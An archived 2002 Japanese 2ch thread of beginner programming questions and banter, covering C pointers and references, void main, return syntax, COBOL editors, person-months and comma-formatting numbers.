<INPUT TYPE=button VALUE="Next" onClick="history.go(1)">

↑で次へ遷移できますが、ボタンの消し方がわかりません。


詳しい方、宜しくお願いします。
244デフォルトの名無しさん:02/05/02 17:16
>gcc(gnu compiler collection/gnu c/c++ compiler)使え
右も左もわからん状態なので、何がなにやら・・。

>今日買ってきたのならなぜC#を買わんのか
どういう意味?C#って何かの名前?

>・・・・・・割れだな・・・?
ただなら浮いた金で美味いものでも喰ってるよ

買ったのって7.0?
>>243
Web製作板で訊こう。
+ JavaScript の質問用スレッド vol.9 +
http://pc.2ch.net/test/read.cgi/hp/1017668857/
247デフォルトの名無しさん:02/05/02 18:38
operator->をオーバーロードして何かいいことあるんですか?
スマートポインタ
249デフォルトの名無しさん:02/05/02 18:45
auto_ptrを嫁
250デフォルトの名無しさん:02/05/02 21:57
すみません。すごく恥ずかしいけど、思い切って聞いちゃいます。
プログラミング初心者の女子中学生です。難しい専門用語はまだダメです。

で、質問です。

「ポインタ」ってメモリアドレスを記憶する記憶領域のことですよね。
つまり一種の「変数」ですよね。

でも、本を読んでると、「ある変数(あるいはデータ)の先頭アドレスを「ポインタ」とよぶ」
みたいな書き方に遭遇するのです。

num=10
function(&num) /* function関数にポインタを渡す */

これって変数numの先頭アドレスがfunction関数の引数になっているけど、
numのポインタを引数とすると読んでもいいのですか?
そもそも「numのポインタ」ってnumのアドレスを記憶したポインタ変数は
どこにも宣言されていないのですが・・・。
女子中学生は自分で自分のことを女子中学生とは言わない。
>>250
寝たか・・・
numのアドレスをfunction()に渡す…だね。
function側では引数として、このアドレスをポインタ変数に受け取る…と。
「OpenBlockSS」のスレってどこかに無いですか?
教えてください
255250:02/05/02 22:03
>251
じゃ、中学生なのにOLって言うわけ?

あぁ、前のカキコの下4行が自分でも読んでいて訳が分からない
文になったみたいです。でも、こんなカキコしかできません。
アドレスをポインタと呼ぶものなのか?
「numへのポインタを渡す」ぐらいなら分からんでもないが。
あるいはアドレス値の評価型がポインタ型であるとか。
>>255
なんで自分の身分や性別を言う必要があると思うんだYO!

優しくしてもらおうと思っているから→当然叩かれる。
目立って叩かれたいと思っているから→やっぱり叩かれる。
258250:02/05/02 22:07
>253

では、コメントの「ポインタを渡す」は、やっぱりポインタ変数を渡す
ではなく、アドレスを渡すと読まなければいけないのですね。
なんでこんな紛らわしい言い方をするのでしょう?>倉薫さん
>>254
LINUX板
250
int num=10;
を実行した時点でnumのアドレスは確定してるので(numの寿命の間)&numは
一定の値をもつ。&numはポインタ型変数でなくポインタ型のアドレス値を
返す式。
(関数の引数は変数とは限らない。式を記述する。)
261デフォルトの名無しさん:02/05/02 22:15
学校でCOBOLをやってます。
その時にmifesっていうのにプログラムを書いて実行して、
自分の書いたのに間違いがないかなどを確認しています。
家に帰っても復習をしたいのでmifesの体験版をダウンロードしたのですが
どこに実行のボタンがあるかわからないんです。
体験版は↓これなんですが、どなたか知っている人がいたら教えてください。
http://www.megasoft.co.jp/mifes/mi6_reg_trial.html
#include <stdio.h>

void func(int &num)
{num++;}

int main()
{int val=1;
func(val);
printf("%d",val);
return 0;}

さて、出力は?
>>261
MIFES に COBOL プログラムの実行機能は備わってないと思われ。
もし学校ではメニューに実行コマンドがあるとか言うのなら
それは学校の教員がそのようなカスタマイズを施したのだと思われ。
しかし学校で COBOL って・・・。
>>261
今さら MIFES なんて使うな。窓から投げ捨てろ。
どうせなら VZ 使え VZ。
>>262
void func(int *num);
...
func(&val);

の方がいいと思うが・・
「OpenBlockSS」のスレってどこかに無いですか?
教えてください
267250:02/05/02 22:22
>262
3行目で「 )」が無いと文句を言われました。
268250:02/05/02 22:26
>265
指摘の通り書き換えたら動きました。
Cygwin付属のgccではコンパイルできました
>>267っていうか考えればわかるじゃねーか
>>268
で、出力は?1になった?
>>266
しつこい、>>259 読めよ。

>>262
なんか、オチあるのか ?
273250:02/05/02 22:28
>271
フリーのBCBを使っています。valの値が利用されていないと
警告がでましたが、「1」を出力しました。
274262:02/05/02 22:30
>>265
上のほうの女子中学生の話
をみて、こっちのやり方のソース書いただけだ・・・
ちなみに、俺の記憶だとC++の書き方だ
結果は「2」だよ
>>273
うるさい警告を出すんだねぇ・・・
*num++;にすれば参照するものが1足されるから、警告がでなくなって出力が2になるはず。
>>274
C++か、、、どうりで見慣れない書き方をしていると思った。
277250:02/05/02 22:35
今までの話を総合すると次のように受け止めました。間違っていたら
お願いします。

(1)「関数にポインタを渡す」とは、ある変数(データ)のアドレスを
渡すことである。
(2)この場合。関数の実装部分において仮引数リストにはアドレスを受け止めるために
ポインタ変数が宣言されている。
仮引数リスト→実引数リスト

かな。
>>277
よくできました。
>>278
おいおい、実引数は関数呼び出し側だぞ。
281262:02/05/02 22:39
本来なら>>265の言うやり方をするだろう
それとの比較でこの書き方を掲載しました
どっちも結果は同じはず・・・
ただ、コンパイラによって結果が変わる事をしった俺は
常々、疑問に思いつつも>>265のやり方をやっていた・・・・
そんな時、女子中学生の書き込みを見て
ちょうどいい機会だと思い
みんなの反応(コンパイル出来るか否かもふくめて)を
知りたかった。やっぱあんま使わないほうがいいのかなコレ
>>280
そうだった・・・なんてイージーなミスを・・・逝ってくる。
実際に単なるint型やdouble型の変数をアドレス渡しすることってある?
アドレス渡しするのは配列やサイズの大きな構造体くらいだよね?
284283:02/05/02 22:45
あと関数(へのポインタ)か。
>>281
単に、C と C++ の違いだと思うが ? 一体何を言いたいのかサパーりわからん。

>>283
値を戻して欲しい時には使うだろ ?
286250:02/05/02 22:47
>262
私の恥ずかしい質問に答えてくれてありがとうございました。
正直なところ262さんのソースプログラムは自分は読みこなせませんでした。
関数の引数に変数名を与えただけだから「1」というデータが関数に渡った
はずなのに、関数の実装部分では引数としてint型変数のアドレスを受け止めるように
書いてあります。これがC++的な書き方なのですか。私はC++は全然知りませんので
分かる分けないですね。
>>285
値はreturnで戻さない?
あ、、、用意した変数に値をセットしてもらいたいときに使うか。。。。

>>286
C++だとああいう風にかくんだって。
288250:02/05/02 22:50
「再帰」とか「ポインタのポインタ」「リスト」とか、
まだ自分には難しすぎます。最近やっと「間接参照」という言葉に
慣れました。
>>287
戻して欲しい値が複数ある時とかはないの ?

× C++だとああいう風にかくんだって。
○ C++だとああいう風にもかけるんだって。
>>289
あまりないなぁ・・・・
きっと私の経験不足だ(鬱
毎日毎日
本読んだり
プログラム書いたりすれば
すぐなれる。
毎日やるのが大事。
だるくても眠くても毎日。
継続は力なり。
>>290
まあ、複数返して欲しい時は自分で作るなら構造体にして、構造体のアド
レス渡しちゃうことが多いけどね。でも、Win32 API だと例えば
WriteFile() は、成功したかどうかを戻り値として BOOL で戻しながら、
書けたバイト数を返すなんて器用なことをやるために、DWORD 変数をポイ
ンタ渡しするようになっていたりするからねぇ。
スマヌ、ネタがふれないが、このスレッド好きだな〜。
超初心者向け雑談スレッドだね。プログラムとは無関係なネタもありで
生き延びてほしいな。
294250:02/05/02 23:05
ありがとうございました。明日も出校日なのでこれで失礼します。
どこを立て読みすればいいの?
296デフォルトの名無しさん:02/05/02 23:08
ダリーんだよ
小難しいことして
いい気になってんじゃ
ねーよ
ぼけども
>>292
標準関数だとtimeやlocaltimeとかがアドレス渡しさせるようにできているよね。
localtimeの引数がなぜconst time_t *なのかよくわからん。
298デフォルトの名無しさん:02/05/02 23:09
オミトロンとCを比べるとどっちが難しいの?
みなさんの言う 「C」は
オロナミンCの事ですよね?
>>299
言うと思った。

300?
>299
寒いよ。思わず君の所に式神を飛ばしたくなったよ。
303デフォルトの名無しさん:02/05/02 23:21
ProxomitoronとC言語を比べるとどちらが難しいですか?
僕はProxomitornで挫折しました。
もしCの方が難しいというなら諦めようと思います。
>>303
最初からそんな逃げ腰なら無理だろうね。
305303:02/05/02 23:29
俺の人生失敗ばっか、、あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
vあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
vあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ


もうだめポ

あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
あひゃはひゃはやひゃあひゃはひゃはやひゃ

死ね死ね

あひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃあひゃはひゃはやひゃ
306デフォルトの名無しさん:02/05/02 23:38
>303
君、やってくれましたね。
今どきどきしながらリロードを繰り返してみんなのカキコを期待しているでしょ?
せっかくだけど、ひねりが足りないんだよ。ひねりが。
考えてみてごらん。ここはとりあえず考えることを苦にしないプログラミング好きな
連中が集う「プログラム板」だよ。
はっきり言おう。君は低いスキルしか持ち合わせていないから、新規スレッドも立てられ
なかったし、他者が立てたスレッドにもカキコできなかったね。でも、
ついに見つけたわけだ。何とか話についていけそうなスレッドを。
でもね、分相応という言葉があるのだよ。メッキはいづれはがれるものさ。
男ならありのままの自分をさらけ出して勝負しようぜ。
俺も男だし、君の男じゃないか。
さ、手を取り合って明日の日本に輝ける一歩をしるそうぜ。
>>294
最近は、出校日と言うのか ? 登校日じゃなくて。しゅっこうびって、IME2000
だといきなり「出向日」と変換されて鬱になるんだが...。

>>297
Unix の time_t は、昔から 32bit なんだけど、昔のマシンは 32bit を扱えな
いマシンもあったので time_t が構造体だったんだよ。その名残りと言うこと。
time() が time_t time(time_t *t) となっていて、戻り値と同じ値を t が指
す所に入れるのも同じ理由。昔は、time() の戻り値はなくて *t しかなかった。
でも今は、戻り値が使えるし NULL を渡せば、*t への代入をしないようになって
るから、t = time(NULL) とすればいい。

>>303
たった3行の文章中で、つづりを間違えるあなたはプログラマには向いてないよ。
あきらめな。
>>306
どこを縦よみすればいい?
309デフォルトの名無しさん:02/05/02 23:44
つーかオミトロンとCってどっちが難しいのよ?
どっちが?
310デフォルトの名無しさん:02/05/02 23:49
>307
中高は「出校日」、小学校「登校日」じゃなかったっけ?
俺の息子(高校生)の学年便りには「出校日」って書いてるけど。

>309
つーか、オミトロンって何だい?俺が知らないだけ?
マイナーすぎるから関連WebのURLをウプしてください。
Cは簡単オミトロンなんて知らん
オミトロンってマイナーだったの?
>>312
ソフトならそれなりに有名だけど、言語はしらん。
314デフォルトの名無しさん:02/05/02 23:58
>>310
ブラウザとサーバーの間に入りHTMLを書き換えてしまうのが
オミトロンです。
広告カットやユーザーエージェント偽装に使われてる。

http://proxomitron.org/
http://pc.2ch.net/test/read.cgi/win/1018227620/l50
>>312
では、HTMLとCはどっちが難しいですか?
HTMLなら人間辞めます。
>>315
どういう点で比較してほしいか述べよ。

のりとはさみはどっちが難しいですか?
のり♪
318261:02/05/03 00:11
>>263
mifesにCOBOLを実行できるように
カスタマイズするのって難しいのでしょうか?
>>264
うーん、10000円はちょっと買えないです。。
はさみ♪
俺はのりだな。
はみだしちゃう。
はさみだな、怪我するぞ。
>>316
うーん、優劣つけれるほどの差はないと言うことですか?
数学と算数なら確実に前者と誰もが口をそろえて言うと思いますが。
HTMLは奥が深いよ。
324224:02/05/03 00:19
>>310
最近は、そうなんだ...。知らんかった。だったら、帰る時は「退校」か ?
と思って、辞書引いたらそう言う意味もあるけど、退学の意味もあるらし
い。登校 ⇔ 下校でいいと思うんだけどねぇ。

>>315
HTML の方。方言多いし、古い処理系が多くって...。マジな話、仕様書
読んでみ。ちゃんと使うのは結構難しいよ。
>>316
ネタ ? 天然 ? 数学は算数の延長上 (突っ込む奴いそうだな) にあるか
らいいんだけど、数学と国語ってどっちが難しいか答えられるの ?

差がないんじゃなくて、方向が違うんだよ...。ってことを >>316 あたり
からみんなが言ってんだけど、理解...できてないよねぇ...。
326デフォルトの名無しさん:02/05/03 14:46
agetimae!
>>316
算数の方が難しい場合もあるよ。
要は「難しさ」の基準とある程度状況を限定しないと
誰もちゃんと答えられないわけ。
プログラム言語の前に日本語やれ。
タグを覚えて画面を確認しながら書いていけるという点でHTMLの方が
簡単だと思うが、業務で使おうとするとブラウザ依存やブラウザの
バグやHTML自体のいい加減さにハマるという罠。
>>312
「では、HTMLとCはどっちが難しいですか?」
>「それは、あなたのやりたいこと次第だよ。」by不思議の国のアリス
HTMLなら人間辞めます。
>言語習得に対してそんな危険な決意をする必要はないと思われ。

HTMLはホームページ記述言語。ループ機構を持たない非プログラミング言語。
Cは比較的言語仕様が小さいプログラミング言語。おすすめ。

330デフォルトの名無しさん:02/05/03 15:09
DELPHIでMIDIのAIPについて、聞きたいのですが・・・
>>330
取りあえず問題外。
332匿名:02/05/03 15:20
MIDIのAIPについて聞いてしまって、すみません。
消えます。。。
>>332
まだ言うか。
334デフォルトの名無しさん:02/05/03 15:24
Access Internet Protocol
335デフォルトの名無しさん:02/05/03 15:26
あの〜、VISUALCとかってのはCと違うんですか?
全くの初心者なんですが、独力でCを勉強せねばならなくなったもんで。
購入する段階で既に困ってマツ。
336デフォルトの名無しさん:02/05/03 15:29
Windows用のウインドウ系(GUI)アプリを
作らないといけないんなら
VisualC++とかVisualStudio.NETとか買えばいい
ちなみに、VisualC++でもC言語の勉強は出来るが
基本的にはC++です
その他の製品は>>337参照
Cの勉強ならフリーのコンパイラを使った方がいいです。
Visual C++ということはOSはWindowsですね?
ダウンロードできるサイトへのリンクは>>338参照
     _,∩_         _,∩_           _,∩_
    (_____)ゝ、     (_____)    y     (_____)
    / :: :: :: ヽ 〉     /-‐:: ::‐-ヽ /       / :: :: :: ヽ
   _./ (・ )ll(・ ) ∨     _/  0) i! 0) ∨      _/ ( ・)i!(・ ) ゙、_
 // :: :: ∈ゝ :: ::ヽ   // ::  ‐-‐ :: ヽ    //  :: ー一 :: ヽ\
. ゝ/:: :: ::  :: :: ::ヽ  ゝ/ :: ::  ::  :: :: ヽ   ゝ/ :: ::  ::  :: :: ヽく
   ̄ ̄ | ̄ ̄ | ̄ ̄     ̄ ̄ | ̄ ̄ | ̄ ̄     ̄ ̄ | ̄ ̄ | ̄ ̄
       |     |             |     |             |     |
    ⊂!     !つ        ⊂!     !つ        ⊂!     !つ      
教えてあげないよ!ジャン!
339デフォルトの名無しさん:02/05/03 18:27
340デフォルトの名無しさん:02/05/03 21:24
バイナリエディタを使って、dllファイルを書き換えようとしましたが、
「排他的制御」なるものがかかって書き換えられません。どうしたらいいでしょうか?
コピーしたものを書き換えて“上書き保存”や“アーカイブ”のチェックを外したりと
色々シロートながら工夫をしているのですが、移動をさせようとしても、
「ライトプロテクトされているか…云々」と出ますし、「新しいフォルダに移動させて(同ディレクトリ)
それから、ごみ箱への移動も出来ません」
シロートだから基本的には難しいのは重々承知ですが、簡単な方法を伝授して
いただければうれしいです。 大変申し訳ございませんが、どうぞよろしくお願いします。
*「Stirling」なるフリーのバイナリディタを使ってます。
*OSは、WinNT4.0 
タイーホ
大塚商会という日本でもトップクラスの技術を持つ会社なら、
ハードディスク上のデータを物理的に直接改編できると聞いた事があります。
>>340
何でできないかわかるまでそんなことはしてはいけない。そう奴がいる
からシステム側で禁止してんのよ。
>>342
それは、どこが面白い所ですか?
345デフォルトの名無しさん:02/05/03 21:57
すみません。すごく恥ずかしい低レベルな質問ですが、どなたか
レスポンスをお願いします。

私は部屋が狭いのでいつもノートパソコンしか買いません。それで
ついつい2年ごとに買い換えることになるのですが、部屋のすみに
4台ほど使っていない古いノートパソコンがあります。処分したいの
ですが、これって燃えないゴミ用のビニール袋に入れてゴミの日に出して
いいのでしょうか?職場ではそれでよし!ということになっているのですが、
いざ、自分の家でゴミ出しするとき迷うのです。引き取ってくれなくて
次の朝、ゴミ置き場にそのまま放置されてしまったら回収するのにすごく
恥ずかしいし、アドバイスをおねがします。
346デフォルトの名無しさん:02/05/03 21:58
>>345
捨てるなら俺にくれ
>>345
ソフマップで売ろう
俺にくれ
>>345
まあ、ネタだろうが...
職場で良いって言ってんなら、会社持ってって捨てれば ?
350345:02/05/03 22:03
いやぁ、ホントに古いのです。

IBM ThinkPad230CS(i486-33MHz/16MB)
IBM ThinkPadi1436(AMDK6-2-300MHx/256MB)
IBM ThinkPad535E(pen150MHz/96MB)
IBM ThinkPadi1142(pen500MHz/196MB)..まだ新しめ?
351デフォルトの名無しさん:02/05/03 22:05
>>350
二番目と四番目はまだまだ使えるだろう〜
ノートなら全部売れます。
353345:02/05/03 22:07
それが職場で主に捨てているのはラジカセとかビデオデッキなんです。
ノートパソコンも捨てていいということになっているのですがまだ
捨てているところを見たことはありません。

職場では不燃物の備品処理で袋に入るなら、それで捨ててしまえ。
でけっこうイージーにやっているのですが、さすがに個人の私物を
職場で捨てるのは怒られます。
354デフォルトの名無しさん:02/05/03 22:07
ほしいage
355デフォルトの名無しさん:02/05/03 22:08
>>353
捨てなくていいから俺によこせ
オォクションに出せば?
357デフォルトの名無しさん:02/05/03 22:10
というわけで、捨てなくても、たぶん聞いてみれば欲しがる奴はでてくるんじゃいの?
358345:02/05/03 22:14
あの、液晶がですね。ちらつくとか、全体的に赤みがさしているとか
使えなくなっているのです。外部モニタなら問題ありませんが。それと
よく分解してHDを自分でパーツを取り寄せて交換したのですべてギガ
クラスのHDを搭載していますがネジ山を潰して交換が出来なくなった
ものもあるので売りに出すのは気が引けます。
>>350
とりあえず、買取上限価格...

IBM ThinkPad230CS(i486-33MHz/16MB) → \1,000〜\1,500
IBM ThinkPadi1436(AMDK6-2-300MHx/256MB) → \39,000
IBM ThinkPad535E(pen150MHz/96MB) → \15,000〜\20,000
IBM ThinkPadi1142(pen500MHz/196MB)
→ 1124 の間違いか ? だったら \56,000〜\86,000

明日朝1で、ソフマップにGO!だ。
360デフォルトの名無しさん:02/05/03 22:15
>>358
だからくれってば(T_T)
ネタならもうやめて(T_T)
358
買取の時に査定されるので心配する必要ありません。
(気が引けるなら査定のときに言上すれば)
362デフォルトの名無しさん:02/05/03 22:31
今晩は。自分も恥ずかしい質問をします。

return 0;
return (0);

自分は「return」は式をともなうキーワードだと思うので、上記が正しいと思います。
下の書き方はまるでreturnが引数0を伴う関数のように見えます。
でも柴田望洋先生の書籍では下の表記です。

どちらが正しいのでしょうか。
>>362
どちらでもよいと「プログラミング言語C」に書かれていたと思います。
私は上です。
どちらも文法的には正しい。
365362:02/05/03 22:35
returnは関数ですか?それともifみたいに制御構造をつくるキーワードですか?
>>362
俺も、上だ。不要な括弧は、つけない主義。
突っ込まれる前に書いとくが、人間に対して演算子の優先順位を明示する
括弧は「必要」と考えてるからな。
367デフォルトの名無しさん:02/05/03 22:37
>>365
キーワード。
>>365
returnはキーワード。return文の文法は
return 式;
>>365
キーワードだ。だが、何でそんなことがわからんのだ ? まともな本買え
や。
>>368
ちょっと違う。文法上は return [式]; だよ。でないと、void f() の時
に困る。
a=b+c;とa=(b+c);が同じなのと同じことだよね?
372362:02/05/03 22:39
0も(0)の評価すると同じものですが、なぜわざわざ括弧を伴う書き方を
するのでしょう?
>>372
それはそう書く人にしか分からない。
好みだと思うけど。
374362:02/05/03 22:49
どうもありがとうございました。もう一つ質問です。

これは有名なファックですが

void main()

main関数はint型の値を返すことになっているので、return文を書かず
関数の戻り値の型をvoidにするのは間違いということになっています。
でも、実際はそのようなmain関数の書き方をしてもDOS/Win環境で(個人的に)調べた
限り何の支障もありません。そもそもmain関数の戻り値をどう利用するかは
OS側の都合ですからDOS/Winが使わないならこのような記述でも問題は
無いと思うのですが。なぜ目くじらをたてて問題視するのでしょうか?
またDOS/Win環境でもやっぱり問題が生じることがあるのでしょうか?
ネタか?まあいいや。

支障あるだろ。ERRLEVELって何か知ってる?
376375:02/05/03 22:52
×ERRLEVEL
○ERRORLEVEL
スマソ
system関数の戻り値って呼んだプログラムの戻り値だっけ?
voidだったらどうなるんだろ?
378362:02/05/03 22:54
>375
さらりと書籍で読んだくらいで実際に使用したことがありません。
ERRLEVELを利用するならvoid main()はまずいですが、使用しないなら
いいのではと思うのです。普通ERRLEVEって使いますか?
379377:02/05/03 22:54
違った・・・
>>377
ERRORLEVELと同じだね。voidにしちゃうと無茶苦茶な値が返ってくる。
>>378
DOSではすごく重要だったと思うが。
Winではつかわんかもね。
382362:02/05/03 23:00
K&Rの翻訳者が執筆した「ANSI-C入門(実教出版)」は
見事にvoid main(void)ですね。
>>374
戻り値使わないならいいとは思うけど、return 0; ぐらい書いても良いと思う。
ちなみに、Unix でも支障はないよ。でも、厨房とみなされるのがオチ。
384デフォルトの名無しさん:02/05/03 23:02

<stdlib.h>をインクルードしてreturn EXIT_SUCCESS;にしろと言っていた奴がいたが、あれはさすがに言い過ぎだと思った。
>>384
exit(EXIT_SUCCESS); で終わるのはどうよ?
>>383
後で支障出るかもよ。

cronで実行したり.forwardの中で呼び出して、
0以外のステータスを返すと、エラーと見なされたり
ログに残ったり。
387362:02/05/03 23:07
C#では

static void Main()

ということはC#のメインメソッドは戻り値がないので
ERRORLEVELのようなものがないかもしれませんね。
388381:02/05/03 23:07
XMLってなんですか?
ActiveX使うとどう便利なんですか?
なんで残業代が30時間までしかでないんですか?
人月ってなんですか?
VB6のクラスモジュールと標準モジュールの違いはなんですか?
.NETになってなにかいいことあるんですか?
VB6でDataReport以外で手軽にあれと同じ機能を持った
印刷機能はないですか?
変数を標準モジュールにまとめてPublicで宣言してたらその方法
はだめって言われたんですがなぜですか?

入りたてでよくわからない上に上司とあまり口聞きたくないので
だれか答えて
>>385
マクロなんて使うまでもないと言いたいだけなので・・・
もっともexitを使うならstdlib.hが必要だからマクロを使ってもいいと思うけど。
390381:02/05/03 23:09
>>388
騙るな
>>390
誤爆じゃネーノ?
392362:02/05/03 23:11
>381

人月だけ分かります。それは「人月の神話」という書籍のことだと
思います。有名な本ですが表紙しかみたことがありません。ちなみに
近所の大手書店では民俗学のコーナーに置いてあります
393362:02/05/03 23:13
>>392
騙るな
394383:02/05/03 23:16
>>386
そりゃそう言う風に終了コードを使うなら void main() はまずいやろ。
で、Unix は伝統的にコマンドを組み合わせて使うケースが多いから
void main() て書いてる奴は、「厨房とみなされるのがオチ。」って
書いといたんだけど、伝わってない ?

>>388
ほんとに >>381 ご本人 ? 文体が違いすぎるぞ...。
とりあえず、このページ印刷して上司の机の上に置いとけ。
>>388
>人月ってなんですか?
一人の人間を会社に缶詰にして労働機械化したときの一ヶ月の労働量。
プロジェクトのやるせなさを表す単位。
技術者を使い捨て可能な資源と考えている前提が間違いであると20年前から言われているが、
使い捨て程度の技術者が多いという現実が変わらないためか
見た目は FP などにバージョンアップされつつ相変わらず使用されている。
396デフォルトの名無しさん:02/05/03 23:26
>XMLってなんですか?
S式みたいなもの

>ActiveX使うとどう便利なんですか?
べつに便利でない

>なんで残業代が30時間までしかでないんですか?
出るだけましと思え

>人月ってなんですか?
君の会社では「10万円」のこと

>VB6のクラスモジュールと標準モジュールの違いはなんですか?
クラスモジュールはクラスを定義する。
標準モジュールは標準を定義する。

>.NETになってなにかいいことあるんですか?
マイクロソフトの製品をまた皆が一式買い直すのでMSが儲かる

>VB6でDataReport以外で手軽にあれと同じ機能を持った
>印刷機能はないですか?
もうちょっとうまく初心者を装え

>変数を標準モジュールにまとめてPublicで宣言してたらその方法
>はだめって言われたんですがなぜですか?
めんどくさいから
397381改め388:02/05/03 23:27
>395
ええとつまり、250人月って言われたら
一ヶ月に250時間働けということですか?

ちなみに381って名前なってたのは私の入力速度が遅いため
書いてる間に7つもレスができちゃったからです
>>397
実際にどのくらい働かせるかは決まってない。
納期が近づくと残業と死人が増える。
>>396
> 君の会社では「10万円」のこと
やすっ !!
400398:02/05/03 23:31
>>397
250人を1ヶ月働かせて終わるだろうプロジェクトが250人月
50人を5ヶ月でも5人を50ヶ月でも同じ。
401偽388:02/05/03 23:45
>>400
わかりました。5000人なら0.05ヶ月ですむんですね。
みなさんってひとつの言語の本をどれくらい持ってます?

普通に気になって。スレをたてたい気もするが絶対伸びないし…
ちなみに俺は C 5冊、C++1冊、VC++1冊、その他WEB系3冊ってとこです
 250人月なら11人で2年のプロジェクトって事だろう
402
5言語 0冊
405デフォルトの名無しさん:02/05/03 23:51
>>402
0冊。んなもんに金出せるか
>>401
はい。
ソフトウェアを作っているはずが、いつのまにか登山をしており、
元のプロジェクトはなかったことになります。

>>402
Ruby だけ10冊くらい。マジレス。
407402:02/05/03 23:52
>>404-405
0冊ってことはネットで勉強してるんですか?
>>401
そうだ、648,000,000人いれば、一秒で済むぞ。
407
昔、K&R持ってたがどっかいった。
たぶん公開されたコード読むのが勉強になるとおもう。
410402:02/05/04 00:06
>>409
ありがとー
参考にさせてもらいます
411デフォルトの名無しさん:02/05/04 00:12
プログラミング言語MJってどうですか?

http://www.etl.go.jp/~epp/jp/mj/
412デフォルトの名無しさん:02/05/04 00:42
>>411
幻覚/空想
413デフォルトの名無しさん:02/05/04 03:02
>>402
C 5冊
C++ 4冊
Perl/CGI 4冊
java 2冊
ネットワーク系 7冊
414デフォルトの名無しさん:02/05/04 03:02
>>402
言語の本は0。
言語以外でも3冊。
学生さんはお金がないのだ...。
昔はネットが使えなかったから
Cはヘルプだけで頑張って覚えたのだ。
>>402
数えたことない・・・積み上げたら1mは余裕で超えると思う
416デフォルトの名無しさん:02/05/04 03:05
>>408 は並列化率と速度飽和の関係を知らないとみた。
>>416
ボケてんだから、もう少し面白い突っ込み希望。
418デフォルトの名無しさん:02/05/04 05:14
質問です。
数字にコンマをつけたいのです。
ex.12345 → 12,345
後ろから三桁ごとに配列にして先頭以外に","を付ける事にして、
一応出来ましたが、もっとスマートな方法があるような気がします。
ご教授ください。言語は問いません。

ここで聞くことじゃない?
【Java】
NumberFormat nf = new DecimalFormat("#,###,###,###");
String num = nf.format(12345);
>>418
それが一番素直なやり方だと思う。
特定の言語でなら、アルゴリズムに差はなくとも小手先のテクニックが色々あるが。
>>418
【VB】
FormatNumber(12345,0)
※地域のオプションの設定が反映される。
422418:02/05/04 05:27
レスありがとうございます。
一部訂正。アルゴリズムだけ結構です。
Javaだと簡単に出来るようですね。
でも、クラスを使うと勉強になりません。
それと、Javaわかりません。すみません。

>>420
なるほど、基本的なアルゴリズムは私ので良いということですね。
ありがとうございました。

423418:02/05/04 05:29
>>421
なるほど、VBだともっと簡単みたいですね。
でもVBはまったくわかりません。すみません。
簡単というか、なんつーか、たとえばフランス語は3桁ごとに . で区切る、とかそういう…
#include <stdio.h>

char *to_comma_str(int num, char *buf)
{
 if (num >= 1000) {
  char *next_pos = to_comma_str(num / 1000, buf);
  sprintf(next_pos, ",%03d", num % 1000);
  return next_pos + 4;
 } else {
  return buf + sprintf(buf, "%d", num);
 }
}
426418:02/05/04 05:45
>>425
はじめに何桁かを示して、再帰をつかって、処理するのですね。
これは勉強になります。
皆さんありがとうございました。もう寝ます。
427デフォルトの名無しさん:02/05/04 05:46
>>426
どこで再帰を使っている?
428427:02/05/04 05:47
見間違った(汗
>>424
実用になるかどうかって言うより単に3桁で区切るっていう課題なんだろうな。
.NETの仕事着てる会社みかけましたか?
結局>>418はJavaやVBだけではなく何もかもわからないらしいな
>>418
>はじめに何桁かを示して、
って、これはなんだ。寝起きにこれ見たら良く考えろ。
>>387
亀レスだけど、

static int Main()

